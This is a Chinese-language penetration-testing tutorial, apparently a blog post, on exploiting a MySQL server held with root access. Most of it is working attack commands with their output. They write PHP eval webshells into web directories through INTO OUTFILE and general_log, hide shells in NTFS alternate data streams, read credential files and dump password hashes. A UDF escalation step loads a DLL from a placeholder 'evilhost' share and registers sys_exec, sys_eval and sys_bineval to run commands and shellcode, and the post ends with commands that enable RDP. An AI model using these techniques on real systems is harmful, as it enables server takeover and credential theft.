一、渗透中可利用的 mysql 的点

1.写 webshell

1.select into outfile(要有 root 权限)

这个利用方式必须要是 root 登录权限,使用 select xxx ito outfile xxx 的形式,这个语句原来是用于快速导出某个表中的数据,或者整个表的,现在我们将我们的n 查询语句导出为 PHP 文件到 web 目录下

Select '<?php eval($_POST[cmd])?>' into outfile 'E:\phpstudy\PHPTutorial\WWW\123123.php';

但是使用这个语句的时候可能会出现几个问题:

(1)权限不够,我刚刚说过了,这个语句的使用必须是 root 权限,如果你非要尝试那只能得到下面的结果:

Access denied for user 'test'@'localhost' (using password: YES)

(2)受到 secure_file_priv 的限制,这个参数可以使用 mysql 命令行查询,查询语句如下:

show variables like '%secure%';

mysql 新版本下secure-file-priv字段 : secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

补充:

这个命令本身就是导出表的,我们创建表当然可以

CREATE TABLE `mysql`.`K0rz3n` (`K0rz3n1` TEXT NOT NULL ); 
INSERT INTO `mysql`.`K0rz3n` (`K0rz3n1` ) VALUES ('<?php @eval($_POST 
[pass]);?>'); 
SELECT `K0rz3n1` FROM `K0rz3n` INTO OUTFILE 'd:/www/exehack.php'; 
DROP TABLE IF EXISTS `K0rz3n`;

2.使用 general_log 写 shell(需要 sql root 权限)

上面说了,直接导出数据容易受到 secure_file_priv 的限制,那么这个时候怎么办?这种情况下可以通过general_log和general_log_file来获取webshell

mysql打开general log之后,所有的查询语句都可以在general log文件中以可读的方式得到,但是这样general log文件会非常大,所以默认都是关闭的。有的时候为了查错等原因,还是需要暂时打开general log的。换句话说general_log_file会记录所有的查询语句,以原始的状态来显示,在每一次更改general log file的时候mysql都会判断日志文件是否存在,如果不存在则会自动创建。如果将general_log开关打开,general_log_file设置为一个php文件,则查询的操作将会全部写入到general_log_file指定的文件,通过访问general_log_file指定的文件来获取webshell。

我们先来看一下我的默认的配置

mysql> show variables like "%general%";
+------------------+--------------------------------------------------------+
| Variable_name    | Value                                                  |
+------------------+--------------------------------------------------------+
| general_log      | OFF                                                    |
| general_log_file | E:\phpstudy\PHPTutorial\MySQL\data\DESKTOP-S2L4C24.log |
+------------------+--------------------------------------------------------+
2 rows in set (0.00 sec)

可以看到,general_log 的确默认是关闭的,文件的位置是 一个明确的日志文件,不过没关系我们是 root 权限的话,这些不都是在我们的掌控之中?

改一波,走你!

set global general_log='on';
SET global general_log_file='E:/phpstudy/PHPTutorial/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';

再看一下配置:

mysql> show variables like "%general%";
+------------------+-------------------------------------+
| Variable_name    | Value                               |
+------------------+-------------------------------------+
| general_log      | ON                                  |
| general_log_file | E:/phpstudy/PHPTutorial/WWW/cmd.php |
+------------------+-------------------------------------+
2 rows in set (0.00 sec)

再看一下 cmd.php 是不是真的存在

如图所示:

此处输入图片的描述

接下来我们愉快的访问就行了

3.使用 echo 命令直接写 shell(基于UDF 提权)

这种情况是在能执行系统命令的时候采用的

echo ^<?php @eval(request[xxx])? ^^>^ >c:\web\www\shell.php

win 下面能直接这样写,其中 ^ 的是为了转义 < 字符

这个命令能在 UDF 提权以后成功执行,创建 webshell

4.隐藏webshell(配合 echo 写 shell)

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg

这样子就生成了一个不可见的shell a.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个a.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。

5.将一句话作为数据表的字段(配合文件包含)

如果我们有创建表的权限,我们完全可以将表的某个字段写成一个一句话,然后我们找到这个表对应的文件包含之

如图所示:

此处输入图片的描述

我们知道数据库的一起都是以文件的形式存在的,我们来找一下这个文件

如图所示:

此处输入图片的描述

6.一些补充:

Test.php 文件内容为 <?php phpinfo();?>

Test.php:a.jpg     会生成Test.php  文件内容为空

Test.php::$DATA  生成test.php  文件内容为<?php phpinfo();?>

Test.php::$INDEX_ALLOCATION  生成test.php文件夹

Test.php::$DATA\0.jpg  生成0.jpg  文件内容为<?php phpinfo();?>

Test.php::$DATA\aaa.jpg  生成aaa.jpg  文件内容为<?php phpinfo();?>

2.直接查询用户的密码

这方法同样需要 root 权限

select user,password from mysql.user;

然后你会看到一堆乱七八糟的字符,下面说一下 mysql 对密码的加密方式

password_str = concat(‘*’, sha1(unhex(sha1(password))))

3.load_file()使用注意:

load_file() 的作用是读取文件的内容,并将文件内容以字符串的形式返回,这个函数在渗透的过程中尤其的好用,但是这个函数的使用依然受到权限的限制以及 secure_file_Priv 的限制

select load_file("文件路径");

(1)win 下常见的敏感文件:

c:/boot.ini //查看系统版本 
c:/windows/php.ini //php配置信息 
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码 
c:/winnt/php.ini 
c:/winnt/my.ini 
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码 
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码 
c:\Program Files\Serv-U\ServUDaemon.ini 
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置 
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码 
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此 
c:\Program Files\RhinoSoft.com\ServUDaemon.exe 
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 
//存储了pcAnywhere的登陆密码 
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件 
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息. 
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机 
d:\APACHE\Apache2\conf\httpd.conf 
C:\Program Files\mysql\my.ini 
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

(2)Linux 下常见的敏感文件

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件 
/usr/local/apache2/conf/httpd.conf 
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 
/usr/local/app/php5/lib/php.ini //PHP相关设置 
/etc/sysconfig/iptables //从中得到防火墙规则策略 
/etc/httpd/conf/httpd.conf // apache配置文件 
/etc/rsyncd.conf //同步程序配置文件 
/etc/my.cnf //mysql的配置文件 
/etc/redhat-release //系统版本 
/etc/issue 
/etc/issue.net 
/usr/local/app/php5/lib/php.ini //PHP相关设置 
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上 
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看 
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件 
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上 
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看 
/etc/sysconfig/iptables 查看防火墙策略 
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录 
replace(load_file(0×2F6574632F706173737764),0×3c,0×20) 
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

4.查看哪些账号哪些主机能够连接

前提是有 root 账号,能查询 mysql.user 表

select * from mysql.user;

这其中有一个 host 字段能显示,该账号允许的登录地址,如果是 127.0.0.1 就是只允许本机登录,如果出现了 192.168.1.%,表明整个C段的主机使用该账号登录

5.查看当前账号的权限

select * from mysql.user where user = substring_index(user(), '@', 1) ;

这个为什么我要拿出来说一下,虽然感觉和上面的是一样的,但是这里用到了 substrijng_index 这个函数,没有输入当前账号的名称,可能在某些情况能利用它绕过一些东西,于是就记录一下

6.查看 Mysql 结构 和 操作系统的结构

我们可以使用全局变量的方式查看这些信息

下面命令向我们展示了MySQL结构,操作系统的结构

mysql> select @@version_compile_os,@@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Win32                | AMD64                     |
+----------------------+---------------------------+
1 row in set (0.00 sec)

或者

mysql> show variables like '%compile%';\
+-------------------------+-------+
| Variable_name           | Value |
+-------------------------+-------+
| version_compile_machine | AMD64 |
| version_compile_os      | Win32 |
+-------------------------+-------+
2 rows in set (0.00 sec)

7.into outfile 和 into dunmpfile 的区别

这两个操作在 渗透测试中的作用不可小觑,不要以为长得差不多,他们的功能是有侧重的

into outfile 主要的目的是导出 文本文件,我们在渗透过程中是用来写 shell 的
into dumpfile 的主要目的是导出二进制文件,在后面我们讲到 UDF 提权的过程中会经常用到这个函数生成我们的 udf.dll

8.查看 MySQL 的安装路径

mysql> select @@basedir;
+-------------------------+
| @@basedir               |
+-------------------------+
| E:\mysql-5.6.41-winx64\ |
+-------------------------+
1 row in set (0.00 sec)


mysql> show variables like '%plugin%';
+---------------+------------------------------------+
| Variable_name | Value                              |
+---------------+------------------------------------+
| plugin_dir    | E:\mysql-5.6.41-winx64\lib\plugin\ |
+---------------+------------------------------------+
1 row in set (0.00 sec)

9.MYSQL 数据库user表

这个表里面藏着很多的好东西,和这个表有关的一共有三个文件即user.frm、user.MYD和 user.MYI,MYSQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。在有权限的情况下,我们可以将User.frm、user.myd和User.myi三个文件下载到本地,通过本地的mysql环境直接读取user表中的数据。当然也可使用文本编辑器将user.MYD打开将root账号的密码复制出来到到cmd5.com进行查询和破解

10.怎么找 Mysql 的账号密码

方法一:翻配置文件

我们知道,如果是网站的项目,就一定会有和数据库的链接配置文件,我们可以从这个文件中找到连接数据库的账号密码,如果控制的不好就是 root 权限,很有利于我们的提权

1.dedecms数据库安装的信息就是写在data/common.inc.php

2.Discuz的数据库信息就在config/config_global_default.php、config /config_ucenter.php、config.inc.php

3.对于java会在/WEB-INF/config/config.properties中配置

一般数据库配置文件都会位于config、application、conn、db等目录,配置文件名称一般会是conn.asp/php/aspx/jsp等。

方法二:找历史记录

除了在文件中找以外,如果是 linux 系统,我们可以查看系统的历史命令,查看 ./root/.mysql_history、./root/.bash_history文件找mysql操作涉及的密码

对于 低版本的 MYSQL(5.1) 一下的,对用户名和密码的传输是不加密的,我们可以找到 binary log 文件找密码

三、MYSQL UDF 提权

1.什么是 UDF

那么什么是 UDF ? 全称是 User defined function(用户自定义函数),一听这个名字就知道我的基础权限要求还是很高的,要求数据库 root 权限
当我们有读取和写入权限以后,我们就可以尝试使用 udf 提权的方法,从数据库的 root 权限提升到 系统的管理员权限

2.放在哪里

因为叫 UDF 于是我们能编写自己的 DLL 然后让 mysql 调用,实现我们自定义的命令

从MySQL 5.0.67开始,UDF库必须包含在plugin文件夹中,可以使用‘@@plugin_dir’全局变量找到它。这个变量可以在mysql.ini文件中看到和编辑。

mysql> select @@plugin_dir;
+-------------------------------------------+
| @@plugin_dir                              |
+-------------------------------------------+
| E:\phpstudy\PHPTutorial\MySQL\lib\plugin\ |
+-------------------------------------------+

mysql> show variables like 'plugin%';
+---------------+-------------------------------------------+
| Variable_name | Value                                     |
+---------------+-------------------------------------------+
| plugin_dir    | E:\phpstudy\PHPTutorial\MySQL\lib\plugin\ |
+---------------+-------------------------------------------+
1 row in set (0.00 sec)

从MySQL 5.0.67开始,文件必须位于plugin目录中。该目录取决于plugin_dir系统变量的值。如果plugin_dir的值为空,则参照5.0.67之前即文件必须位于系统动态链接器的搜索目录中。

3.怎么放进去

udf.dll 在哪

MSF 给我们提供了现成的 udf.dll ,位置在

/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll

方法一:远程加载

load_file() 函数支持远程加载,然后我们配合 dumpfile 实现写入

select load_file('\\\\evilhost\evil.dll') into dumpfile "E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll" 

但是这里面有一个限制就是在lib 目录下一定要存在 plugin 目录,否则这个不能执行成功,会报一个错误,如下

#1 - Can't create/write to file 'E:\phpstudy\PHPTutorial\MySQL\lib\plugin\udf.dll' (Errcode: 2)

方法二:HEX 写入

在某些情况下我们可以将我们 udf.dll 转化成16进制然后写入,这样就不用连接外网了,我以64位的为例

select hex(load_file('E:\\lib_mysqludf_sys_64.dll')) into outfile "E:\\udf64.hex";

生成了 hex 文件以后我们可以将 hex 文件的内容复制出来,写入我们的命令

select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dumpfile "E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll";

注意:

我们导出的 hex 格式前面是没有 0x 的,这个需要自己添加

方法三:分段写入数据表中,然后 select 那个字段

create table temp(data longblob);

insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);

update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);

select data from temp into dump file "E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll";

方法四:利用函数 to_base64 和 from_base64

从 MySQL 5.6.1 和 MariaDB 10.0.5 开始,我们就能使用 to_base64 和 from_base64 来进行编码了

select to_base64(load_file('E:\\lib_mysqludf_sys_64.dll')) into outfile "E:\\udf64.b64" 

然后我们使用 from_base64 解码并结合 into dumpfile 写入 dll

select from_base64("base64 的内容,因为太长了就不贴了") 

into dumpfile “E:\mysql-5.6.41-winx64\lib\plugin\udf64.dll”;

4.怎么利用这个 dll

我们要利用这个 dll 来安装我们写在 dll 中的函数,那我们需要看一下写这个 dll 的大佬给我们提供了哪些函数吧(于是翻出之前分析后门的工具,没想到还能在这里排上用场)

如图所示:

此处输入图片的描述

1.sys_exec()

当然是用频率最高的还是 sys_exec ,这个函数能让我们轻松地执行系统命令

让我们开始加载这函数吧

create function sys_exec RETURNS int soname 'udf.dll' 

我们查看一下

mysql> select * from mysql.func where name = "sys_exec";
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_exec |   2 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)

好了,我们能愉快的执行命令了

select sys_exec('whoami')

运行结果:

mysql> select sys_exec('whoami');
+--------------------+
| sys_exec('whoami') |
+--------------------+
|                  0 |
+--------------------+
1 row in set (0.28 sec)

运行后你会快速看到命令执行的黑色框弹出,然后转瞬即逝,表明命令成功执行(要是能回显就好了~~~)

使用完了别忘了把函数删了

drop function sys_exec;

这个时候再看

mysql> select * from mysql.func where name = "sys_exec";
Empty set (0.00 sec)

2.sys_evel()

该功能将执行系统命令并在屏幕上通过标准输出显示,什么?真的可以?梦想就要成真了,我们来试试

create function sys_eval returns string soname 'udf.dll';

我们看一下:

mysql> select * from mysql.func where name = "sys_eval";
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_eval |   0 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)

执行:

mysql> select sys_eval('whoami');
+------------------------+
| sys_eval('whoami')     |
+------------------------+
| desktop-s2l4c24\k0rz3n |
+------------------------+
1 row in set (0.27 sec)

太完美了!

删除函数:

drop function sys_eval;

3.sys_get()

该函数返回系统变量的值

注册函数

create function sys_get returns string soname 'udf.dll';

查看:

mysql> select * from mysql.func where name = "sys_get";
+---------+-----+---------+----------+
| name    | ret | dl      | type     |
+---------+-----+---------+----------+
| sys_get |   0 | udf.dll | function |
+---------+-----+---------+----------+
1 row in set (0.00 sec)

使用:

select sys_get('longonserver');

结果:

mysql> Select sys_get('COMSPEC');
+-----------------------------+
| sys_get('COMSPEC')          |
+-----------------------------+
| C:\Windows\system32\cmd.exe |
+-----------------------------+
1 row in set (0.00 sec)

删除:

drop function sys_get;

4.执行Shellcode - sys_bineval

这个函数应该功能更强大,能直接执行 shellcode/任何二进制文件 ,我们把 shellcode/ 任意二进制文件 编码为 hex 或者 base64 ,然后在解码一下传递给他就行了

注册函数:

create function sys_bineval returns int soname 'udf.dll';

查看一下:

mysql> select * from mysql.func where name = "sys_bineval";
+-------------+-----+---------+----------+
| name        | ret | dl      | type     |
+-------------+-----+---------+----------+
| sys_bineval |   2 | udf.dll | function |
+-------------+-----+---------+----------+
1 row in set (0.00 sec)

我们先把我们要运行的二进制文件编码成 base64 形式

select to_base64(load_file('E:\\calc.exe')) into outfile "E:\\calc.b64" 

使用:

select sys_bineval(from_base64(load_file('E:\\calc.b64')));

但是这个方法有些不稳定,我第一次尝试的时候 mysql 直接挂了,开都开不起来了,hhh,原作者也说了这个方法似乎不适用于 64位平台,但是在 32 位平台能正常工作

删除函数

drop function sys_bineval;

5.补充一些 trick

1.导出文件名的问题

导出的文件名不一定要是 xxx.dll ,我们可以任意命名,这个后缀名对创建函数没有任何影响

mysql>  create function sys_exec returns string soname 'udf.exp';
Query OK, 0 rows affected (0.01 sec)
2.不存在plugin 目录的问题

这个问题相当的棘手啊,mysql 5.1 以后我们必须将我们的 udf.dll 弄到我们的亲爱的 pplugin 目录下,但是要是偏偏没有这个目录怎么办?

kingcope提到了一种方法,利用NTFS ADS流来创建文件夹的方法,这个方法我们经常称之为 NTFS 隐写,可以用来写后门甚至 getshell

1.什么是 NTFS 的 ADS

在NTFS文件系统中存在着NTFS交换数据流(Alternate Data Streams,简称ADS),这是NTFS磁盘格式的特性之一。每一个文件,都有着主文件流和非主文件流,主文件流能够直接看到;而非主文件流寄宿于主文件流中,无法直接读取,这个非主文件流就是NTFS交换数据流,正因为这个特性,通常 ADS也被用于一些恶意文件隐藏自身,作为后门。

为了避免跑题,我这里就不讲解 NTFS ADS 的其他用途,我们就来看一下怎么创建文件夹

2.怎么在只能导出文件的情况下导出一个文件夹

我们创建一个空的名为 TEST 的文件夹

如图所示:

此处输入图片的描述

然后我们执行下面这条命令

echo xxx > test::$INDEX_ALLOCATION

结果如图所示:

此处输入图片的描述

我们清楚地看到本来是创建文件的命令在 ::$INDEX_ALLOCATION 的作用下创建成了一个文件夹(这个应该是一个漏洞,微软在最近的漏洞补丁中生成要修复这个漏洞,并且有了CVE 编号 CVE-2018-1036/NTFS EOP,不过我目前本地测试应该没有收到影响)

2.试一下使用 mysql 导出文件的方法能不能成功

首先看一下我本地的 xxx/mysql/lib/ 下面没有 plugin 文件夹

如图所示:

此处输入图片的描述

执行文件导出命令:

select 'xxx' into outfile 'E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

结果:

#1 - Can't create/write to file 'E:\phpstudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION' (Errcode: 13 - Permission denied)

失败了。。。。,心情复杂,具体原因我也不是很清楚,因为我创建普通文件的时候是可以的,如果有师傅尝试成功还望不吝赐教

3.能执行命令以后我们能做更多
(1)先看一下 3389 开没开:
netstat -an |find "3389" 

######(2)Windows 2008Server命令行开启3389

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v

参考

https://www.cnblogs.com/zydj333/p/6951002.html
http://blog.51cto.com/simeon/1926022
http://www.mottoin.com/article/web/96772.html
https://blog.csdn.net/m0_37438418/article/details/80289025?utm_source=blogxgwz7
https://xz.aliyun.com/t/2167?accounttraceid=85dbd2c9-8021-4125-bf50-c7be4b510695
http://www.freebuf.com/articles/system/163144.html
http://www.freebuf.com/articles/3853.html
https://www.i0day.com/733.html
https://xz.aliyun.com/t/2167?accounttraceid=85dbd2c9-8021-4125-bf50-c7be4b510695
https://www.cnblogs.com/Chesky/p/ALTERNATE_DATA_STREAMS.html
https://www.jianshu.com/p/bd18b92c1224
https://www.i0day.com/733.html
https://www.freebuf.com/column/143125.html
https://www.cnblogs.com/qing123/p/6608141.html
https://www.cnblogs.com/qing123/p/6771858.html